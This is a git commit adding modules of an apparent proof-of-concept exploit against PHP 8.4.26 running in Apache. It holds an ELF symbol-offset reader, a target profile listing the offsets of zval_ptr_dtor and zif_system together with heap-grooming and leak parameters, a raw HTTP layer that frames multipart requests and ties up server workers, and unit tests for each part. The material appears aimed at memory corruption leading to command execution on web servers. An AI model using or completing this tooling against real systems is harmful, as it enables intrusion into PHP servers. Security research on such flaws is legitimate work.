feat(poc): profiles, elf symbol derivation, wire layer

This commit is contained in:
ZSecurity
2026-10-24 14:07:06 +07:00
parent 0f942cdb1f
commit 720522a385
9 changed files with 267 additions and 0 deletions
+6
View File
@@ -0,0 +1,6 @@
* text=auto eol=lf
*.sh text eol=lf
*.conf text eol=lf
*.php text eol=lf
*.py text eol=lf
*.md text eol=lf
+1
View File
@@ -5,3 +5,4 @@ research/upstream/
research/captures/*.resp research/captures/*.resp
research/captures/*.bin research/captures/*.bin
research/libphp.so research/libphp.so
research/control/
+3
View File
@@ -0,0 +1,3 @@
__author__ = "Hermes Agent"
__org__ = "independent security research"
__version__ = "0.1.0"
+44
View File
@@ -0,0 +1,44 @@
import struct
SHT_SYMTAB = 2
SHT_DYNSYM = 11
def _sections(buf):
if buf[:4] != b"\x7fELF" or buf[4] != 2:
raise ValueError("not an ELF64 file")
e_shoff, = struct.unpack_from("<Q", buf, 0x28)
e_shentsize, e_shnum, _ = struct.unpack_from("<HHH", buf, 0x3A)
secs = []
for i in range(e_shnum):
off = e_shoff + i * e_shentsize
name, typ, flags, addr, offset, size, link, info, align, entsize = \
struct.unpack_from("<IIQQQQIIQQ", buf, off)
secs.append({"type": typ, "offset": offset, "size": size,
"link": link, "entsize": entsize})
return secs
def symbol_offsets(path, names):
want = set(names)
with open(path, "rb") as fh:
buf = fh.read()
secs = _sections(buf)
found = {}
for sec in secs:
if sec["type"] not in (SHT_SYMTAB, SHT_DYNSYM) or not sec["entsize"]:
continue
strtab = secs[sec["link"]]
base, sbase = sec["offset"], strtab["offset"]
for i in range(sec["size"] // sec["entsize"]):
e = base + i * sec["entsize"]
st_name, st_info, st_other, st_shndx, st_value, st_size = \
struct.unpack_from("<IBBHQQ", buf, e)
if not st_name:
continue
end = buf.index(b"\x00", sbase + st_name)
nm = buf[sbase + st_name:end].decode("latin1")
if nm in want and st_value:
if nm not in found or st_value < found[nm]:
found[nm] = st_value
return {n: found.get(n) for n in names}
+38
View File
@@ -0,0 +1,38 @@
PROFILES = {
"php-8.4.26-apache-trixie-amd64": {
"php_version": "8.4.26",
"sapi": "apache2handler",
"libphp_path": "/usr/lib/apache2/modules/libphp.so",
"libphp_sha256": "51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c",
"dtor_offset": 0x65EB60,
"zif_offset": 0x465370,
"main_bucket_count": 87,
"delta_min": 0x1A00000,
"delta_max": 0x1F00000,
"ptr_min": 1 << 36,
"ptr_max": (1 << 47) - 1,
"fake_len": 0xC8000,
"path": "/index.php",
"warm_path": "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v",
"leak_spec": ["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"],
"a1": {"parts": 860, "depth": 64, "key_pad": 90, "fillers128": 14,
"big": 78, "big_len": 8000, "burners": 20, "burner_len": 4000,
"progress_len": 4000, "sid_hex": "00", "tail": 0},
"a2": {"parts": 880, "depth": 64, "fillers": 115, "key_pad": 0},
"b2": {"vl": 384, "n1": 500, "n2": 495, "rc": 1, "name_len": 10,
"ref_start": 8, "ref_step": 32, "val_type": 0x0107},
"s_delta": 0xF8398,
"hsv_delta": 0x7D720,
},
}
def select(libphp_sha256):
for name, prof in PROFILES.items():
if prof["libphp_sha256"] == libphp_sha256:
return name, prof
return None, None
def only():
return next(iter(PROFILES.items()))
+87
View File
@@ -0,0 +1,87 @@
import socket
import time
import urllib.parse
BOUNDARY = b"C" * 10
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n"
"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n" %
(path, host, boundary.decode())).encode()
out = bytearray(hdr)
for i in range(0, len(body), chunk):
piece = body[i:i + chunk]
out += ("%x\r\n" % len(piece)).encode() + piece + b"\r\n"
out += b"0\r\n\r\n"
return bytes(out)
def frame_plain(path, body, host, boundary=BOUNDARY):
return ("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nConnection: close\r\n\r\n" %
(path, host, boundary.decode(), len(body))).encode() + body
def send(host, port, blob, timeout=600.0, limit=8 << 20):
resp = bytearray()
sock = socket.create_connection((host, port), timeout=timeout)
sock.settimeout(timeout)
try:
sock.sendall(blob)
while len(resp) < limit:
piece = sock.recv(65536)
if not piece:
break
resp.extend(piece)
except OSError:
pass
sock.close()
return bytes(resp)
def cookie(resp, key):
marker = b"Set-Cookie: " + key + b"="
i = resp.find(marker)
if i < 0:
return None
val = resp[i + len(marker):].split(b"\r\n", 1)[0]
return urllib.parse.unquote_to_bytes(val.decode("latin1"))
def status(resp):
if not resp:
return ""
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
def warm(host, port, path="/index.php"):
sock = socket.create_connection((host, port), timeout=5)
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
sock.recv(1024)
sock.close()
def hold_workers(host, port, count, body_len=1048576, path="/index.php"):
held = []
if count <= 0:
return held
for _ in range(count):
sock = socket.create_connection((host, port), timeout=5)
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())
held.append(sock)
time.sleep(0.01)
time.sleep(0.8)
return held
def release(held):
for sock in held:
try:
sock.close()
except OSError:
pass
+22
View File
@@ -0,0 +1,22 @@
import os
import unittest
from poc import elf
LIB = os.path.join(os.path.dirname(__file__), "..", "research", "libphp.so")
@unittest.skipUnless(os.path.exists(LIB), "research/libphp.so not captured")
class ElfTest(unittest.TestCase):
def test_symbol_offsets_match_profile(self):
syms = elf.symbol_offsets(LIB, ["zval_ptr_dtor", "zif_system"])
self.assertEqual(syms["zval_ptr_dtor"], 0x65EB60)
self.assertEqual(syms["zif_system"], 0x465370)
def test_missing_symbol_is_none(self):
syms = elf.symbol_offsets(LIB, ["definitely_not_a_symbol"])
self.assertIsNone(syms["definitely_not_a_symbol"])
def test_rejects_non_elf(self):
with self.assertRaises(ValueError):
elf.symbol_offsets(__file__, ["main"])
+36
View File
@@ -0,0 +1,36 @@
import unittest
from poc import profiles
class ProfileTest(unittest.TestCase):
def test_lookup_by_libphp_hash(self):
name, p = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
self.assertEqual(name, "php-8.4.26-apache-trixie-amd64")
self.assertEqual(p["dtor_offset"], 0x65EB60)
self.assertEqual(p["zif_offset"], 0x465370)
self.assertEqual(len(p["leak_spec"]), 17)
def test_unknown_hash_returns_none(self):
self.assertEqual(profiles.select("00" * 32), (None, None))
def test_every_profile_is_complete(self):
required = {"dtor_offset", "zif_offset", "main_bucket_count", "delta_min",
"delta_max", "ptr_min", "ptr_max", "fake_len", "leak_spec",
"a1", "a2", "b2", "s_delta", "hsv_delta"}
for name, p in profiles.PROFILES.items():
self.assertTrue(required.issubset(p), name)
def test_pointer_window_is_canonical_user_space(self):
for name, p in profiles.PROFILES.items():
self.assertLessEqual(p["ptr_min"], 0x7D27F67AAB60, name)
self.assertGreaterEqual(p["ptr_min"], 1 << 36, name)
self.assertLessEqual(p["ptr_max"], (1 << 47) - 1, name)
def test_cli_selftest_exit_code(self):
import subprocess
import sys
r = subprocess.run([sys.executable, "-m", "poc", "selftest"],
capture_output=True, text=True)
self.assertEqual(r.returncode, 0, r.stdout + r.stderr)
self.assertIn("selftest ok", r.stdout)
+30
View File
@@ -0,0 +1,30 @@
import unittest
from poc import wire
class WireTest(unittest.TestCase):
def test_chunked_framing_exact(self):
blob = wire.frame_chunked("/index.php", b"ABCDEFGH", "127.0.0.1:18110", chunk=4)
self.assertTrue(blob.startswith(
b"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1:18110\r\n"
b"Content-Type: multipart/form-data; boundary=CCCCCCCCCC\r\n"
b"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n"))
self.assertIn(b"4\r\nABCD\r\n4\r\nEFGH\r\n0\r\n\r\n", blob)
self.assertNotIn(b"Content-Length", blob)
def test_plain_framing_has_content_length(self):
blob = wire.frame_plain("/index.php", b"XY", "127.0.0.1:18110")
self.assertTrue(blob.endswith(b"\r\n\r\nXY"))
self.assertIn(b"Content-Length: 2\r\n", blob)
self.assertNotIn(b"Transfer-Encoding", blob)
def test_cookie_extract(self):
resp = b"HTTP/1.1 200\r\nSet-Cookie: PHPSESSID=a%2Bb\r\n\r\n"
self.assertEqual(wire.cookie(resp, b"PHPSESSID"), b"a+b")
def test_cookie_absent(self):
self.assertIsNone(wire.cookie(b"HTTP/1.1 200\r\n\r\n", b"PHPSESSID"))
def test_status(self):
self.assertEqual(wire.status(b"HTTP/1.1 500 Internal\r\n\r\n"), "HTTP/1.1 500 Internal")